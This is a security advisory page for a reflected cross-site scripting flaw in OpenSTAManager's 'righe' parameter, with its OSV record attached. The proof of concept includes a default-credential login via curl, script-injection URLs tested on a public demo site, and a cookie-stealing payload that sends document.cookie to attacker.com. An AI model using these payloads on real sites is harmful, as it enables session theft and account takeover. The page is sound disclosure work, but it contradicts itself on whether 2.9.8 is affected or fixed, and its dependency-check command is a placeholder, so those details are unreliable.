CVE-2026-24415: Devcode it/openstamanager Cross-Site Scripting Vulnerability

MODERATE
Advisory Identifier: GHSA-jfgp-g7x7-j25j
CWE-79
Published
Advisory Summary

CVE-2026-24415 is a MODERATE cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Devcode it/openstamanager libraries in the Packagist ecosystem. The issue involves openstamanager affected by xss in modifica_iva.php via righe parameter. Remediation is available by upgrading affected packages to version 2.9.8.

CVE-2026-24415 at a Glance

CVE Identifier CVE-2026-24415
GHSA Identifier GHSA-jfgp-g7x7-j25j
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Devcode it/openstamanager
Package Ecosystem Packagist
Published Date
Last Updated

How to Fix CVE-2026-24415

To remediate this vulnerability, upgrade all affected Devcode it/openstamanager dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

devcode-it/openstamanager fixed: 2.9.8
Upgrade devcode-it/openstamanager to 2.9.8
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for devcode-it/openstamanager

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-24415, inspect your project dependencies for Devcode it/openstamanager:

inspect dependencies for devcode-it/openstamanager

Analyze the terminal output to locate any version of Devcode it/openstamanager in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.9.8), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Devcode it/openstamanager, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Multiple Reflected Cross-Site Scripting (XSS) vulnerabilities in OpenSTAManager v2.9.8 allow unauthenticated attackers to execute arbitrary JavaScript code in the context of other users' browsers through crafted URL parameters, potentially leading to session hijacking, credential theft, and unauthorized actions. **Vulnerable Parameter:** `righe` (GET) ### Details OpenSTAManager v2.9.8 contains multiple Reflected XSS vulnerabilities in invoice/order/contract modification modals. The application fails to properly sanitize user-supplied input from the `righe` GET parameter before reflecting it in HTML output. **Vulnerable Code Location:** File: `/modules/contratti/modals/modifica_iva.php` (Line 125) ```php <input type="hidden" name="righe" value="<?php echo $_GET['righe']; ?>"> ``` The `$_GET['righe']` parameter is directly echoed into the HTML `value` attribute without any sanitization using `htmlspecialchars()` or equivalent functions. This allows an attacker to break out of the attribute context and inject arbitrary HTML/JavaScript. **All Affected Files:** 1. `/modules/contratti/modals/modifica_iva.php` - **Line 125, Line 167** 2. `/modules/preventivi/modals/modifica_iva.php` - **Line 125, Line 167** 3. `/modules/fatture/modals/modifica_iva.php` - **Line 121, Line 161** 4. `/modules/ddt/modals/modifica_iva.php` - **Line 125, Line 167** 5. `/modules/ordini/modals/modifica_iva.php` - **Line 125, Line 167** 6. `/modules/interventi/modals/modifica_iva.php` - **Line 125, Line 167** ### PoC **Prerequisites:** - Running instance of OpenSTAManager v2.9.8 - Valid admin credentials (username: admin, password: admin for test instance) **Step 1: Login** ```bash curl -c cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \ -d 'username=admin&password=admin' ``` **Step 2: Trigger XSS** Navigate to the following URL in a browser (or use curl with cookies): ``` http://localhost:8081/modules/contratti/modals/modifica_iva.php?righe="><script>alert(document.domain)</script> ``` **Tested URLs (All vulnerable):** - `https://demo.osmbusiness.it/modules/contratti/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>` - `https://demo.osmbusiness.it/modules/preventivi/modals/modifica_iva.php?righe=1"><script>alert(document.cookie)</script>` - `https://demo.osmbusiness.it/modules/fatture/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>` - `https://demo.osmbusiness.it/modules/ddt/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>` - `https://demo.osmbusiness.it/modules/ordini/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>` - `https://demo.osmbusiness.it/modules/interventi/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>` **Expected Result:** JavaScript alert popup displays showing the current session cookie, confirming code execution. **HTML Output (verified on live instance):** ```html <input type="hidden" name="righe" value=""><script>alert(document.cookie)</script>"> ``` **Verification:** <img width="1260" height="99" alt="image" src="https://github.com/user-attachments/assets/4e91a461-bae6-40fb-b7c3-b8bd1eb48473" /> <img width="2060" height="1180" alt="image" src="https://github.com/user-attachments/assets/6dbde967-0505-43d1-b455-adc91a4808c0" /> **Alternative Payloads:** Session stealing: `"><script>fetch('https://attacker.com/?c='+document.cookie)</script>` ### Impact **Affected Users:** All authenticated users with access to contracts, invoices, quotes, or orders modules. **Attack Scenario:** 1. Attacker crafts malicious URL with XSS payload 2. Attacker sends URL to victim via email/chat/phishing 3. Victim (authenticated user) clicks the link 4. Malicious JavaScript executes in victim's browser context 5. Attacker can: - Steal session cookies → Full account takeover - Perform actions on behalf of victim (create/modify/delete records) - Steal CSRF tokens and bypass CSRF protection - Redirect to phishing page - Inject keylogger to capture sensitive data - Modify page content to trick user into revealing credentials **Recommended Fix:** ```php <input type="hidden" name="righe" value="<?php echo htmlspecialchars($_GET['righe'], ENT_QUOTES, 'UTF-8'); ?>"> ``` Apply this fix to all affected files listed in Details section.

CVE-2026-24415 Affected Devcode it/openstamanager Versions

1 component(s)
Fixed Versions:
2.9.8
Product / Package Ecosystem Affected Versions Fixed Version
devcode-it/openstamanager
Packagist
< 2.9.8
2.9.8

References

Frequently Asked Questions

What is CVE-2026-24415?
CVE-2026-24415 is a security vulnerability in Devcode it/openstamanager involving OpenSTAManager Affected by XSS in modifica_iva.php via righe parameter under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Devcode it/openstamanager versions are affected?
Affected versions include releases prior to 2.9.8 across affected packages: devcode-it/openstamanager.
What version fixes CVE-2026-24415?
Upgrading to 2.9.8 (or the latest patched release for your respective branch) resolves the vulnerability.
Is devcode-it/openstamanager affected?
Yes, devcode-it/openstamanager is affected in releases prior to 2.9.8. Upgrade your dependency to 2.9.8 or later.
What CWE is associated with CVE-2026-24415?
CVE-2026-24415 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check Packagist dependencies for CVE-2026-24415?
Run the dependency tree command: 'inspect dependencies for devcode-it/openstamanager'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-jfgp-g7x7-j25j",
  "modified" : "2026-03-04T01:59:55Z",
  "published" : "2026-03-03T17:39:00Z",
  "aliases" : [ "CVE-2026-24415" ],
  "summary" : "OpenSTAManager Affected by XSS in modifica_iva.php via righe parameter",
  "details" : "### Summary\n\nMultiple Reflected Cross-Site Scripting (XSS) vulnerabilities in OpenSTAManager v2.9.8 allow unauthenticated attackers to execute arbitrary JavaScript code in the context of other users' browsers through crafted URL parameters, potentially leading to session hijacking, credential theft, and unauthorized actions.\n\n**Vulnerable Parameter:** `righe` (GET)\n\n### Details\n\nOpenSTAManager v2.9.8 contains multiple Reflected XSS vulnerabilities in invoice/order/contract modification modals. The application fails to properly sanitize user-supplied input from the `righe` GET parameter before reflecting it in HTML output.\n\n**Vulnerable Code Location:**\nFile: `/modules/contratti/modals/modifica_iva.php` (Line 125)\n\n```php\n<input type=\"hidden\" name=\"righe\" value=\"<?php echo $_GET['righe']; ?>\">\n```\n\nThe `$_GET['righe']` parameter is directly echoed into the HTML `value` attribute without any sanitization using `htmlspecialchars()` or equivalent functions. This allows an attacker to break out of the attribute context and inject arbitrary HTML/JavaScript.\n\n**All Affected Files:**\n\n1. `/modules/contratti/modals/modifica_iva.php` - **Line 125, Line 167**\n2. `/modules/preventivi/modals/modifica_iva.php` - **Line 125, Line 167**\n3. `/modules/fatture/modals/modifica_iva.php` - **Line 121, Line 161**\n4. `/modules/ddt/modals/modifica_iva.php` - **Line 125, Line 167**\n5. `/modules/ordini/modals/modifica_iva.php` - **Line 125, Line 167**\n6. `/modules/interventi/modals/modifica_iva.php` - **Line 125, Line 167**\n\n### PoC\n\n**Prerequisites:**\n- Running instance of OpenSTAManager v2.9.8\n- Valid admin credentials (username: admin, password: admin for test instance)\n\n**Step 1: Login**\n```bash\ncurl -c cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \\\n  -d 'username=admin&password=admin'\n```\n\n**Step 2: Trigger XSS**\nNavigate to the following URL in a browser (or use curl with cookies):\n```\nhttp://localhost:8081/modules/contratti/modals/modifica_iva.php?righe=\"><script>alert(document.domain)</script>\n```\n\n**Tested URLs (All vulnerable):**\n- `https://demo.osmbusiness.it/modules/contratti/modals/modifica_iva.php?righe=\"><script>alert(document.cookie)</script>`\n- `https://demo.osmbusiness.it/modules/preventivi/modals/modifica_iva.php?righe=1\"><script>alert(document.cookie)</script>`\n- `https://demo.osmbusiness.it/modules/fatture/modals/modifica_iva.php?righe=\"><script>alert(document.cookie)</script>`\n- `https://demo.osmbusiness.it/modules/ddt/modals/modifica_iva.php?righe=\"><script>alert(document.cookie)</script>`\n- `https://demo.osmbusiness.it/modules/ordini/modals/modifica_iva.php?righe=\"><script>alert(document.cookie)</script>`\n- `https://demo.osmbusiness.it/modules/interventi/modals/modifica_iva.php?righe=\"><script>alert(document.cookie)</script>`\n\n**Expected Result:**\nJavaScript alert popup displays showing the current session cookie, confirming code execution.\n\n**HTML Output (verified on live instance):**\n```html\n<input type=\"hidden\" name=\"righe\" value=\"\"><script>alert(document.cookie)</script>\">\n```\n\n**Verification:**\n\n<img width=\"1260\" height=\"99\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4e91a461-bae6-40fb-b7c3-b8bd1eb48473\" />\n\n<img width=\"2060\" height=\"1180\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6dbde967-0505-43d1-b455-adc91a4808c0\" />\n\n**Alternative Payloads:**\nSession stealing: `\"><script>fetch('https://attacker.com/?c='+document.cookie)</script>`\n\n### Impact\n\n\n**Affected Users:** All authenticated users with access to contracts, invoices, quotes, or orders modules.\n\n**Attack Scenario:**\n1. Attacker crafts malicious URL with XSS payload\n2. Attacker sends URL to victim via email/chat/phishing\n3. Victim (authenticated user) clicks the link\n4. Malicious JavaScript executes in victim's browser context\n5. Attacker can:\n   - Steal session cookies → Full account takeover\n   - Perform actions on behalf of victim (create/modify/delete records)\n   - Steal CSRF tokens and bypass CSRF protection\n   - Redirect to phishing page\n   - Inject keylogger to capture sensitive data\n   - Modify page content to trick user into revealing credentials\n\n\n**Recommended Fix:**\n```php\n<input type=\"hidden\" name=\"righe\" value=\"<?php echo htmlspecialchars($_GET['righe'], ENT_QUOTES, 'UTF-8'); ?>\">\n```\n\nApply this fix to all affected files listed in Details section.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "devcode-it/openstamanager"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.9.8"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/devcode-it/openstamanager/security/advisories/GHSA-jfgp-g7x7-j25j"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-24415"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/devcode-it/openstamanager"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-03T17:39:00Z",
    "nvd_published_at" : "2026-03-03T22:16:28Z"
  }
}